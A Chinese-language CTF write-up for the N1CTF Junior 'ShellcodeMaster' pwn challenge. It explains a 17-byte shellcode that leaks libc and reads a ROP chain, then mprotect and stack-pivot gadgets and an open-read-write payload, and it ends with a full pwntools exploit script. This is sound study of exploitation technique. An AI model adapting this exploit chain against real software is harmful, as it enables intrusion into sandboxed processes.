碎碎念
比赛的时候早上瞧了一个小时然后有事出去了 没看到提示 不然可能还做的出来 但是不得不说Nu1l水平确实要求高 我还没远远不够
hint1: `movq rsp, xmm2` hint2: 利用 `shellcode` 构造自己的 `gadget` 转为 `ROP`
|
思路分析
保护全开 环境是2.31
开启了沙盒
ida打开看一看
int __cdecl main(int argc, const char **argv, const char **envp) { void *buf;
init(argc, argv, envp); sandbox(); buf = mmap((void *)0x2023000, 0x1000uLL, 7, 34, -1, 0LL); puts("Try to ORW in limited bytes!"); read(0, buf, 0x11uLL); puts("Hope that works~"); mprotect(buf, 0x1000uLL, 4); JUMPOUT(0x2023000LL); }
|
总体的思路非常简单 read往0x2023000读入0x11字节的shellcode 随后mprotect把0x2023000对应的页调为可读可写不可执行 随后jmp过去 在栈帧结束的时候 各个寄存器的值都被设置成了2023
.text:0000000000000C88 mov r15, 2023000h .text:0000000000000C8F mov rax, 2023h .text:0000000000000C96 mov rbx, 2023h .text:0000000000000C9D mov rcx, 2023h .text:0000000000000CA4 mov rdx, 2023h .text:0000000000000CAB mov rsp, 2023h .text:0000000000000CB2 mov rbp, 2023h .text:0000000000000CB9 mov rsi, 2023h .text:0000000000000CC0 mov rdi, 2023h .text:0000000000000CC7 mov r8, 2023h .text:0000000000000CCE mov r9, 2023h .text:0000000000000CD5 mov r10, 2023h .text:0000000000000CDC mov r11, 2023h .text:0000000000000CE3 mov r12, 2023h .text:0000000000000CEA mov r13, 2023h .text:0000000000000CF1 mov r14, 2023h
|
0x11肯定不够写 我们不仅要构造mprotect调权限 还要构造read写入orw
先来看一下提示吧 movq rsp, xmm2 xmm2是浮点数寄存器 将其值赋给rsp寄存器 为什么这么干?
看一看xmm2中存的是什么
欸 有一个libc地址 那么想的是构造write函数泄露基址 但是直接赋值給rsi寄存器是不行的
因为我们还需要构造rop链 rop链要么就是劫持程序执行流 要么就是写shellcode 然后要求对应地址有可执行权限 后者显然是不行的 所以要利用rsp指针在libc地址执行rop链 调用了mprotect函数后我们再迁移到0x2023000写rop
那么总结一下思路 我们要利用17字节的shellcode 做到write基址 read读入rop链 显然是捉襟见肘 这里学习了这位师傅的方法 实在有点大开眼界
2023 N1CTF Junior Pwn ShellcodeMaster - Wings 的博客 (wingszeng.top)
movq rsp,xmm2 push rsp pop rsi l: shr edi, 13 and eax, edi syscall jnz l ret
|
利用push和pop来实现寄存器互传参 shr指令是逻辑右移 这样edi就只剩下1了
随后利用and指令 将eax和edi进行逻辑与操作 并将结果赋值给eax 也就是1 并且此时运算结果不为0 ZF标志位为0
随后sys call系统调用就可以执行write函数 泄露libc基址 随后Jnz根据ZF标准位 为1 所以跳转
再次逻辑右移 此时edi为0 and以后 结果为0 eax为0 ZF标志位为0 syscall系统调用read函数
Jnz不跳转 ret指令将rsp指针指向的内容 此时是我们填入的rop链 弹入到rip寄存器 成功劫持程序执行流 听我这么说可能还是不太明白 建议自己动调一步步跟着看 另外可以看一下那位师傅的博客 里面有详细的shellcode编写思路
io.send(asm(shellcode)) libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-(0x7f009903b4c0-0x7f0098e4d000) success("libc_addr :"+hex(libc_addr)) mprotect_addr = libc_addr + libc.sym['mprotect'] read_addr = libc_addr + libc.sym['read'] rdi_addr = libc_addr + libc.search(asm('pop rdi;ret;')).__next__() rsi_addr = libc_addr + libc.search(asm('pop rsi;ret;')).__next__() rdx_addr = libc_addr + 0x000000000011c1e1 rax_addr = libc_addr + libc.search(asm('pop rax;ret;')).__next__() ret_addr = libc_addr + libc.search(asm('ret;')).__next__() syscall = libc_addr + 0x000000000002584d rsp_addr = libc_addr + 0x0000000000032b5a rop1 = p64(rdi_addr)+p64(0x2023000) rop1 += p64(rsi_addr)+p64(0x1000) rop1 += p64(rdx_addr)+p64(7) + p64(0)+ p64(mprotect_addr) rop1 += p64(rdi_addr)+p64(0) rop1 += p64(rsi_addr)+p64(0x2023500) rop1 += p64(rdx_addr)+p64(0x1000)+p64(0)+p64(read_addr) rop1 += p64(rsp_addr)+p64(0x2023508) io.send(rop1)
|
求出libc基址以后 我们就可以构造rop链了 按照原来的思路 就是调用mprotect把0x2023000的权限开一开 然后read读入orw
另外没有单独的pop_rdx指令 这里我用的是pop rdx,pop r12的
然后最后就是劫持rsp 迁移到0x2023508 8字节要用来存flag字符串
之所以要多0x500的话 是因为到时候栈空间不够 会跑到0x2022000这一个页 但是这个页没有可写权限 所以执行不下去 要抬高栈
随后就是老一套的orw了
到这里就结束了 不得不说这题出的是真的巧妙 完整exp:
from pwn import*
from LibcSearcher import*
io = process("./pwn")
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")
context.arch = "amd64"
elf = ELF("./pwn")
def debug():
gdb.attach(io)
pause()
io.recvuntil("Try to ORW in limited bytes!")
shellcode = """
movq rsp,xmm2
push rsp
pop rsi
l:
shr edi, 13
and eax, edi
syscall
jnz l
ret
"""
io.send(asm(shellcode))
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-(0x7f009903b4c0-0x7f0098e4d000)
success("libc_addr :"+hex(libc_addr))
mprotect_addr = libc_addr + libc.sym['mprotect']
read_addr = libc_addr + libc.sym['read']
rdi_addr = libc_addr + libc.search(asm('pop rdi;ret;')).__next__()
rsi_addr = libc_addr + libc.search(asm('pop rsi;ret;')).__next__()
rdx_addr = libc_addr + 0x000000000011c1e1
rax_addr = libc_addr + libc.search(asm('pop rax;ret;')).__next__()
ret_addr = libc_addr + libc.search(asm('ret;')).__next__()
syscall = libc_addr + 0x000000000002584d
rsp_addr = libc_addr + 0x0000000000032b5a
rop1 = p64(rdi_addr)+p64(0x2023000)
rop1 += p64(rsi_addr)+p64(0x1000)
rop1 += p64(rdx_addr)+p64(7) + p64(0)+ p64(mprotect_addr)
rop1 += p64(rdi_addr)+p64(0)
rop1 += p64(rsi_addr)+p64(0x2023500)
rop1 += p64(rdx_addr)+p64(0x1000)+p64(0)+p64(read_addr)
rop1 += p64(rsp_addr)+p64(0x2023508)
io.send(rop1)
flag_addr = 0x2023500
open_addr = libc_addr + libc.sym['open']
write_addr = libc_addr + libc.sym['write']
payload = b'./flag\x00\x00'+p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0) + p64(open_addr)
payload += p64(rdi_addr) + p64(3) + p64(rsi_addr) + p64(flag_addr+0x100) + p64(rdx_addr) + p64(0x50) + p64(0) +p64(read_addr)
payload += p64(rdi_addr) + p64(1) + p64(rsi_addr) + p64(flag_addr+0x100) + p64(rdx_addr) + p64(0x50) + p64(0) +p64(write_addr)
io.send(payload)
io.recvuntil("flag{")
flag = b'flag{'+io.recvuntil("}")
success(flag)
|